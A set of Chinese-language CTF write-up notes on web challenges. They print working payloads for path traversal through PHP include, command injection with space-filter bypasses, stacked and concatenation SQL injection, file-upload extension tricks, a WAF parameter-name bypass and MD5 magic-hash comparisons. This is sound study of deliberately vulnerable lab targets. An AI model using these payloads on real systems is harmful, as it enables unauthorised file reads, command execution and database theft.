[HCTF 2018]WarmUp 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这题是简单的绕过,我们主要了解函数

mb_substr(x1,x2,x3),这个函数用于截取字符串,x1是字符串,x2是起始位置,x3是截取个数。

mb_strpos(x1,x2),这个函数用于查找字符在字符串中的位置,x1是字符串,x2是什么字符。

include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

payload:?file=hint.php?../../../../../ffffllllaaaagggg

[GXYCTF2019]Ping Ping Ping(空格绕过)

这题是命令执行

我们主要了解空格过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
1
else if(preg_match("/.*f.*l.*a.*g.*/", $ip))

这里flag必须按照顺序出现,中间可以插入任意字符。我们可以用变量替换来绕过这种简单的过滤。

payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

[SUCTF 2019]EasySQL(PIPES_AS_CONCAT)

我们注入万能钥匙‘’ or 1=1发现返回的是nonono

猜测是or被过滤了,我们可以使用bp爆破来看哪些关键字被过滤了。

最后发现prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|”
都被过滤了那么联合注入,报错注入,盲注啥的都不能用了,但还有一个堆叠注入。

1
2
1;show databases;
回显:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

那么确实可以用堆叠注入。

进行尝试后,发现只有当输入是非零数字的时候有回显,而0或字符的时候是无回显的,那么我们可以猜测有||运算符,这个运算符在mysql里是或运算,在其他大部分的数据库中是字符连接符号。

源码中确实有**$sql = “select “.$post[‘query’].”||flag from Flag”;**

1
2
3
4
5
6
7
select command1 || command2 

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

方法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数。

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

注意:select 1 || flag from Flag的意思将变成 先查询1 再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

方法二:

select * , 1 || flag from Flag

这个代码会查询Flag中的所有内容。

[极客大挑战 2019]Upload

知识点1

1
2
3
4
5
6
php短标签

<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。

知识点2

文件头绕过

知识点3

php3 php4 phtml 都会被当成php解析

[极客大挑战 2019]BabySQL

知识点1

select查询语句中查数据库的便捷操作

1
select flag from ctf.Flag

这是从ctf库中的Flag表查flag字段

[bugku] sqli-0x1

知识点1

/**/这样的注释可绕过过滤union select这样的过滤机制

1
union/**/select

[RoarCTF 2019]Easy Calc

知识点1(php解析机制)

这题我们是用get方法传参,但是传的参数只能是字母,因为在注释中说了有waf,如果输入字母会有1747578037501

我们这时可以这样绕过:

1
2
calc.php?num=phpinfo()     #这是原来的传参
calc.php? num=phpinfo() #绕过方法

这是因为在参数还没传入后端的时候有个waf会先检查num中的值,这里我们在num前面加上空格实际的参数名就会变成“空格num“这时waf就不能识别参数名,那么输入字符也就不会被拦截,但当参数传到后端的时候,php的参数解析机制会去除参数中的一些特殊字符包括空格,换行符什么的,这样参数名就还是原来的num,这样就不会影响识别。

知识点2

chr()代替字符进行绕过

知识点3

var_dump,scandir(),file_get_contents()函数的使用

[BJDCTF2020]Easy MD5

知识点1

md5($pass,true)

PHP中md5函数如果第二个参数设为true,返回的是二进制内容

知识点2

只要’or’后面的字符串为一个非零的数字开头都会返回True

知识点3(ffifdyop)

ffifdyop在被md5加密后返回的二进制内容会被php识别为'or'6<trash>(因为mysql会把二进制内容解释为ASCII码)

(<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉)

知识点4(md5弱比较)

方法一(0e开头的)

由于弱比较之前都会先转化成相同的类型,而0e都会被视为科学计数法,0的多少次方都是0,所以只要0e开头的字符串就行,这里列举几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514

方法二(数组)(强比较也可以用)

md5()函数无法识别数组,所以会返回NULL,如果俩都是NULL,那么条件也是相等的。